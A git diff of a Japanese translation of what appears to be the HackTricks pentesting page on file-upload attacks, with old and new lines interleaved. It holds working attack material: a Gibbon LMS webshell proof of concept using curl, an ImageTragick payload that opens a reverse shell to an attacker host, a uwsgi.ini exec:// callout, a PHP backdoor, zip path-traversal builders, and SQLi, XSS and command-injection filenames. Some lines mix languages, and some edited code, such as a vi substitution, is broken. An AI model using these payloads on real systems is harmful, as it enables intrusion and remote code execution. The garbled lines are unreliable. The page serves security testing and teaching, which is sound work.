- もし画像に **圧縮が適用されている**(例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準的な PHP ライブラリを使っている)場合、前述の手法は有効でないことがあります。しかし、**PLTE chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、**圧縮を生き残る**テキストを挿入できます。
|
- 画像に圧縮が適用されている場合(例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準的な PHP ライブラリを使用している場合)、前述の手法は有効ではありません。しかし、**PLTE chunk** を使用する [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮を**survive compression**するテキストを挿入できます。
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
- ウェブページが例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` 関数を使って **画像をリサイズ** している場合があります。しかし、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、**圧縮を生き残る**テキストを挿入できます。
|
- ウェブページが例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使って画像を **resizing** している場合もあります。しかし、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮を**survive compression**するテキストを挿入できます。
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
- 画像のリサイズ(PHP-GD の `thumbnailImage` を使用するなど)を生き残るペイロードを作る別の手法もありますが、**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、**圧縮を生き残る**テキストを挿入できます。
|
- 画像のリサイズを生き残るペイロードを作る別の手法として、PHP-GD の `thumbnailImage` を使う方法があります。ただし、**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮に耐えるテキストを挿入できます。
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
|
|
||||||
### Other Tricks to check
|
### Other Tricks to check
|
||||||
|
|
||||||
- アップロード済みファイルの拡張子を変更するために **rename** できる脆弱性を探す。
|
- 既にアップロードされたファイルの拡張子を変更するためにファイルを **rename** できる脆弱性を探す。
|
||||||
- バックドアを実行するための **Local File Inclusion** 脆弱性を探す。
|
- バックドアを実行するための **Local File Inclusion** 脆弱性を探す。
|
||||||
- **情報漏洩の可能性**:
|
- **Possible Information disclosure**:
|
||||||
1. 同じ名前の **同一ファイル** を **複数回**(かつ **同時に**)アップロードする。
|
1. 同じファイルを**複数回**(かつ**同時に**)同じ名前でアップロードする。
|
||||||
2. 既に存在する **ファイル** や **フォルダ** と同じ **名前** のファイルをアップロードする。
|
2. 既に存在する**ファイル**や**フォルダ**の**名前**でファイルをアップロードする。
|
||||||
3. 名前が **"."、".."、または "..."** のファイルをアップロードする。例えば、Apache on **Windows** でアプリケーションがアップロードファイルを "/www/uploads/" に保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまう。
|
3. 名前を `"."`, `".."`, または `"…"` にしたファイルをアップロードする。例えば、Apache on **Windows** でアプリケーションがアップロードを "/www/uploads/" ディレクトリに保存する場合、"." というファイル名は "/www/" ディレクトリに uploads” というファイルを作成します。
|
||||||
4. **NTFS** 上で **"…:.jpg"** のように削除しづらいファイルをアップロードする。(Windows)
|
4. **NTFS** 上で **"…:.jpg"** のように簡単に削除できないファイルをアップロードする。(Windows)
|
||||||
5. **Windows** で名前に `|<>*?”` のような **無効な文字** を含むファイルをアップロードする。(Windows)
|
5. **Windows** で名前に `|<>*?”` のような **invalid characters** を含むファイルをアップロードする。(Windows)
|
||||||
6. **Windows** で CON, PRN, AUX, NUL, COM1…COM9, LPT1…LPT9 のような **予約(禁止)名** を使ってファイルをアップロードする。
|
6. **Windows** で CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 といった予約(禁止)名を使ってファイルをアップロードする。
|
||||||
- 被害者が誤って開いたときにコードを実行するような、.exe のような **実行可能ファイル** や、より怪しまれにくい **.html** をアップロードしてみる。
|
- 被害者が誤って開いたときにコードを実行する **.exe** や(より疑わしくない)**.html** のアップロードも試す。
|
||||||
|
|
||||||
### Special extension tricks
|
### Special extension tricks
|
||||||
|
|
||||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
`.phar` ファイルは Java の `.jar` に似ており php 用で、**php ファイルのように使える**(php で実行したり、スクリプト内で include したりできる)。
|
`.phar` ファイルは Java の `.jar` のようなもので、php 用であり、php として実行したりスクリプト内で include したりして **used like a php file** ことができます。
|
||||||
|
|
||||||
`.inc` 拡張子はファイルのインポートに使われる php ファイルに使われることがあり、場合によってはこの拡張子が実行されるように許可されていることがある。
|
`.inc` 拡張子は、ファイルを **import** するためだけに使われる php ファイルに使われることがあり、結果としてこの拡張子が実行可能になることがあり得ます。
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
Jetty サーバーに XML ファイルをアップロードできると、[RCE を得られる(**new \*.xml and \*.war are automatically processed**)](https://twitter.com/ptswarm/status/1555184661751648256/photo/1) 可能性があります。したがって、次の画像にあるように XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルを得られます!
|
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -136,9 +136,9 @@ Jetty サーバーに XML ファイルをアップロードできると、[RCE
|
|||||||
|
|
||||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを改変できる場合に uWSGI サーバーで悪用され得ます。uWSGI の設定ファイルは "magic" な変数、プレースホルダ、演算子を取り込む特有の構文を持ちます。特に '@' 演算子(`@(filename)` の形式)はファイルの内容をインクルードするために使われます。uWSGI がサポートするさまざまなスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることが可能です。この機能は、`.ini` 設定ファイルが処理される際に、Remote Command Execution や Arbitrary File Write/Read といった悪用に利用され得ます。
|
Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更する能力がある場合に uWSGI サーバで悪用され得ます。uWSGI の設定ファイルは "magic" 変数、プレースホルダ、オペレータを組み込むための特定の構文を持ちます。特に '@' オペレータ(`@(filename)` として使われる)はファイルの内容を取り込むよう設計されています。uWSGI がサポートする様々なスキームのうち、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini` 設定ファイルが処理されるときに Remote Command Execution や Arbitrary File Write/Read のような悪意ある目的に悪用され得ます。
|
||||||
|
|
||||||
次に示すのは、さまざまなスキームを示す悪意ある `uwsgi.ini` ファイルの例です:
|
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||||
```ini
|
```ini
|
||||||
[uwsgi]
|
[uwsgi]
|
||||||
; read from a symbol
|
; read from a symbol
|
||||||
@ -156,13 +156,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||||||
; call a function returning a char *
|
; call a function returning a char *
|
||||||
characters = @(call://uwsgi_func)
|
characters = @(call://uwsgi_func)
|
||||||
```
|
```
|
||||||
payload の実行は設定ファイルの解析時に発生します。設定が有効化され解析されるには、uWSGI プロセスを再起動する(クラッシュ後や Denial of Service attack による場合など)か、ファイルが auto-reload に設定されている必要があります。auto-reload 機能が有効な場合、変更を検知すると指定した間隔でファイルを再読み込みします。
|
ペイロードの実行は設定ファイルのパース時に発生します。設定を有効化してパースさせるには、uWSGI プロセスを再起動する必要があります(クラッシュ後や Denial of Service 攻撃による場合があり得ます)、またはファイルを auto-reload に設定する必要があります。auto-reload 機能が有効な場合、変更を検知すると指定間隔でファイルを再読み込みします。
|
||||||
|
|
||||||
uWSGI の設定ファイル解析が緩いことを理解することが重要です。具体的には、ここで述べた payload はバイナリファイル(image や PDF など)に埋め込むことができ、悪用の範囲をさらに広げます。
|
uWSGI の設定ファイルのパースが緩い性質を理解することが重要です。具体的には、ここで扱う payload は image や PDF といった binary ファイルに挿入でき、悪用の範囲がさらに広がります。
|
||||||
|
|
||||||
## **wget ファイルアップロード/SSRF トリック**
|
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||||
|
|
||||||
場合によってはサーバが **`wget`** を使用して **download files** を行い、あなたが **indicate** できる **URL** を指定できることがあります。こうした場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあるかをチェックして、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**this check can be bypassed.**\ **linux** における **filename** の **maximum** 長さは **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。例えば、**download a file called "A"\*232+".php"+".gif"** といったファイルをダウンロードすると、このファイル名は(この例では **".gif"** が **valid** な拡張子であるため)**bypass** して **check** を通過しますが、`wget` はファイル名を **"A"\*232+".php"** に **rename** します。
|
Gibbon LMS の認証不要のエンドポイントが web root 内への arbitrary file write を許し、PHP ファイルを配置することで pre-auth RCE に繋がります。脆弱なバージョン: 25.0.01 まで(含む)。
|
||||||
|
|
||||||
|
- エンドポイント: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||||
|
- メソッド: POST
|
||||||
|
- 必須パラメータ:
|
||||||
|
- `img`: data-URI のような文字列: `[mime];[name],[base64]` (サーバーは type/name を無視し、末尾を base64 デコードします)
|
||||||
|
- `path`: Gibbon install dir からの相対の保存先ファイル名(例: `poc.php` または `0xdf.php`)
|
||||||
|
- `gibbonPersonID`: 空でない任意の値が受け入れられます(例: `0000000001`)
|
||||||
|
|
||||||
|
ファイルを書き込み・読み取るための最小 PoC:
|
||||||
|
```bash
|
||||||
|
# Prepare test payload
|
||||||
|
printf '0xdf was here!' | base64
|
||||||
|
# => MHhkZiB3YXMgaGVyZSEK
|
||||||
|
|
||||||
|
# Write poc.php via unauth POST
|
||||||
|
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||||
|
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
|
||||||
|
|
||||||
|
# Verify write
|
||||||
|
curl http://target/Gibbon-LMS/poc.php
|
||||||
|
```
|
||||||
|
最小限の webshell を設置してコマンドを実行する:
|
||||||
|
```bash
|
||||||
|
# '<?php system($_GET["cmd"]); ?>' base64
|
||||||
|
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||||
|
|
||||||
|
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||||
|
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
|
||||||
|
|
||||||
|
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||||
|
```
|
||||||
|
注意事項:
|
||||||
|
- ハンドラは `;` と `,` で分割した後に `base64_decode($_POST["img"])` を実行し、拡張子/タイプの検証を行わずにバイト列を `$absolutePath . '/' . $_POST['path']` に書き込みます。
|
||||||
|
- 結果として実行されるコードは web サービスのユーザとして実行されます(例: XAMPP Apache on Windows)。
|
||||||
|
|
||||||
|
このバグに関する参考情報には usd HeroLab advisory と NVD のエントリが含まれます。下の References セクションを参照してください。
|
||||||
|
|
||||||
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
|
場合によっては、サーバが **`wget`** を使って **download files** しており、あなたが **URL** を示すことができる場合があります。このようなケースでは、コードがダウンロードされるファイルの拡張子がホワイトリストに含まれているかをチェックし、許可されたファイルのみがダウンロードされるようにしているかもしれません。しかし、**このチェックは回避可能です。**\
|
||||||
|
**linux** における **filename** の最大長は **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。You can **download a file called "A"*232+".php"+".gif"**, このファイル名はホワイトリストの**チェックをバイパス**します(この例では **".gif"** が**valid** な拡張子です)が、`wget` はファイル名を **"A"*232+".php"** に**rename** します。
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
@ -185,22 +226,22 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
Note that **別のオプション** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **動作しません** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
Note that **another option** you may be thinking of to bypass this check is to make the **HTTPサーバ** redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||||
|
|
||||||
## ツール
|
## Tools
|
||||||
|
|
||||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters and Bug Hunters が file upload メカニズムをテストするのを支援するために設計された強力なツールです。さまざまな bug bounty テクニックを活用して脆弱性の発見と悪用を簡素化し、web applications の徹底的な評価を支援します。
|
||||||
|
|
||||||
### snprintf の挙動の違いによる upload インデックスの破損(historical)
|
### Corrupting upload indices with snprintf quirks (historical)
|
||||||
|
|
||||||
単一ファイルのアップロードからマルチファイル配列を構築するために `snprintf()` や類似の関数を使用する一部のレガシーなアップロードハンドラは、`_FILES` 構造を偽造されるように騙されることがあります。`snprintf()` の挙動における不整合や切り捨てのため、巧妙に作られた単一のアップロードがサーバ側で複数のインデックス付きファイルとして現れ、厳密な形状を想定したロジック(例:マルチファイルアップロードとして扱い、安全でない分岐を取る)を混乱させます。今日ではニッチですが、この “index corruption” パターンは時折 CTF や古いコードベースで再出現します。
|
一部のレガシーな upload ハンドラは、`snprintf()` や類似の関数を使って single-file upload から multi-file 配列を構築していますが、これらは `_FILES` 構造を偽造するように騙されることがあります。`snprintf()` の挙動における一貫性の欠如や切り捨てにより、巧妙に作られた single upload がサーバ側で複数のインデックス付きファイルとして見えることがあり、厳密な形状を想定しているロジック(例: multi-file upload として扱い、安全でない分岐に入る)が混乱します。今日ではニッチですが、この “index corruption” パターンは時折 CTFs や古いコードベースで再出現します。
|
||||||
|
|
||||||
## ファイルアップロードから派生するその他の脆弱性
|
## From File upload to other vulnerabilities
|
||||||
|
|
||||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
- **filename** に `../../../tmp/lol.png` を設定して **path traversal** を試みる
|
||||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
- **filename** に `sleep(10)-- -.jpg` を設定すると **SQL injection** が達成できる可能性がある
|
||||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
- **filename** に `<svg onload=alert(document.domain)>` を設定して XSS を実現する
|
||||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
- **filename** に `; sleep 10;` を設定して一部のコマンドインジェクションをテストする (more [command injections tricks here](../command-injection.md))
|
||||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
@ -211,7 +252,7 @@ Note that **別のオプション** you may be thinking of to bypass this check
|
|||||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||||
- Check if there is any **size limit** uploading files
|
- ファイルをアップロードして **size limit** があるか確認する
|
||||||
|
|
||||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
@ -233,44 +274,45 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here](
|
|||||||
https://github.com/portswigger/upload-scanner
|
https://github.com/portswigger/upload-scanner
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## マジックヘッダバイト
|
## Magic Header Bytes
|
||||||
|
|
||||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||||
- **JPG**: `"\xff\xd8\xff"`
|
- **JPG**: `"\xff\xd8\xff"`
|
||||||
|
|
||||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
その他のファイルタイプは [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) を参照してください。
|
||||||
|
|
||||||
## Zip/Tar ファイルの自動解凍アップロード
|
## Zip/Tar File Automatically decompressed Upload
|
||||||
|
|
||||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
もしサーバ内で展開される ZIP をアップロードできるなら、次の2つができます:
|
||||||
|
|
||||||
### Symlink
|
### シンボリックリンク
|
||||||
|
|
||||||
シンボリックリンクを含むアーカイブをアップロードすると、解凍後にその展開されたファイルにアクセスすることでリンク先のファイルへアクセスできます:
|
他のファイルへのシンボリックリンクを含むリンクをアップロードすると、展開後にそのファイルにアクセスすることでリンク先のファイルにアクセスできます:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
tar -cvf test.tar symindex.txt
|
tar -cvf test.tar symindex.txt
|
||||||
```
|
```
|
||||||
### 異なるフォルダに解凍
|
### 異なるフォルダに解凍する
|
||||||
|
|
||||||
解凍中にディレクトリ内にファイルが意図せず作成されることは重大な問題です。この構成が悪意あるファイルアップロードによるOSレベルのコマンド実行を防ぐと最初は想定されても、ZIPアーカイブ形式の階層的な圧縮サポートとディレクトリトラバーサル機能が悪用され得ます。これにより、攻撃者は対象アプリケーションの解凍機能を操作して制限を回避し、安全なアップロードディレクトリから脱出できます。
|
解凍中にディレクトリ内にファイルが予期せず作成される問題は重大です。当初、この構成が悪意のあるファイルアップロードによるOSレベルのコマンド実行を防ぐと考えられていても、ZIPアーカイブ形式の階層的な圧縮サポートとディレクトリトラバーサル機能が悪用され得ます。これにより攻撃者は制限を迂回し、ターゲットアプリケーションの解凍機能を操作してセキュアなアップロードディレクトリから脱出できます。
|
||||||
|
|
||||||
そのようなファイルを生成する自動化エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手できます。ユーティリティの使用例は以下のとおりです:
|
そのようなファイルを作成する自動化エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)。このユーティリティは次のように使用できます:
|
||||||
```python
|
```python
|
||||||
# Listing available options
|
# Listing available options
|
||||||
python2 evilarc.py -h
|
python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
また、**symlink trick with evilarc** は選択肢の一つです。もしターゲットが `/flag.txt` のようなファイルであれば、そのファイルへの symlink をシステム上に作成しておくべきです。これにより evilarc が動作中にエラーを発生させないようにできます。
|
さらに、**symlink trick with evilarc** はオプションです。目的が `/flag.txt` のようなファイルを狙うことであれば、そのファイルへのシンボリックリンクをシステムに作成しておくべきです。これにより、evilarc は動作中にエラーを起こさなくなります。
|
||||||
|
|
||||||
以下は、悪意のある zip ファイルを作成するために使用される Python コードの例です:
|
以下は、悪意のある zip ファイルを作成するために使われる Python のコード例です:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
import zipfile
|
import zipfile
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
|
|
||||||
|
|
||||||
def create_zip():
|
def create_zip():
|
||||||
f = BytesIO()
|
f = BytesIO()
|
||||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||||
@ -283,11 +325,11 @@ zip.close()
|
|||||||
|
|
||||||
create_zip()
|
create_zip()
|
||||||
```
|
```
|
||||||
**圧縮の悪用による file spraying**
|
**圧縮を悪用して file spraying を行う**
|
||||||
|
|
||||||
詳しくは **元記事を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
詳細については **元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||||
|
|
||||||
1. **Creating a PHP Shell**: PHPコードは `$_REQUEST` 変数を通じて渡されたコマンドを実行するように書かれています。
|
1. **Creating a PHP Shell**: コマンドを `$_REQUEST` 変数経由で受け取り実行する PHP コードが書かれている。
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
@ -297,57 +339,57 @@ system($cmd);
|
|||||||
}?>
|
}?>
|
||||||
```
|
```
|
||||||
|
|
||||||
2. **File Spraying and Compressed File Creation**: 複数のファイルが作成され、それらを含むzipアーカイブが組み立てられます。
|
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、これらを含む zip アーカイブを作成する。
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhexエディタで変更し、"xxA" を "../" に置換してディレクトリを遡ります。
|
3. **Modification with a Hex Editor or vi**: zip 内のファイル名を vi または hex editor で変更し、"xxA" を "../" に置換してディレクトリを横断する。
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
:set modifiable
|
:set modifiable
|
||||||
:%s/xxA/..\//g
|
:%s/xxA/../g
|
||||||
:x!
|
:x!
|
||||||
```
|
```
|
||||||
|
|
||||||
## ImageTragic
|
## ImageTragic
|
||||||
|
|
||||||
この内容を画像拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
|
この内容を画像の拡張子でアップロードすることで脆弱性を悪用できます **(ImageMagick , 7.0.1-1)**(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照)
|
||||||
```
|
```
|
||||||
push graphic-context
|
push graphic-context
|
||||||
viewbox 0 0 640 480
|
viewbox 0 0 640 480
|
||||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||||
pop graphic-context
|
pop graphic-context
|
||||||
```
|
```
|
||||||
## PNGにPHPシェルを埋め込む
|
## PNGにPHP Shellを埋め込む
|
||||||
|
|
||||||
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理を回避できる場合があります。PHP-GDの`imagecopyresized`や`imagecopyresampled`といった関数は、それぞれ画像のリサイズやリサンプリングで一般的に使われるため、この文脈で特に重要です。埋め込まれたPHPシェルがこれらの処理によって影響を受けずに残ることは、特定のユースケースで大きな利点となります。
|
PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理操作を回避できることがあります。PHP-GDの関数 `imagecopyresized` と `imagecopyresampled` は、それぞれ画像のリサイズやリサンプリングに一般的に使われるため、この文脈で特に関連性があります。埋め込まれたPHP Shellがこれらの処理に影響されずに残ることは、特定のユースケースにおいて大きな利点です。
|
||||||
|
|
||||||
この手法の詳細な解説(手順や応用例を含む)は、次の記事にまとめられています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。
|
この手法の詳細な検討(方法論や潜在的な応用を含む)は、以下の記事で解説されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。
|
||||||
|
|
||||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
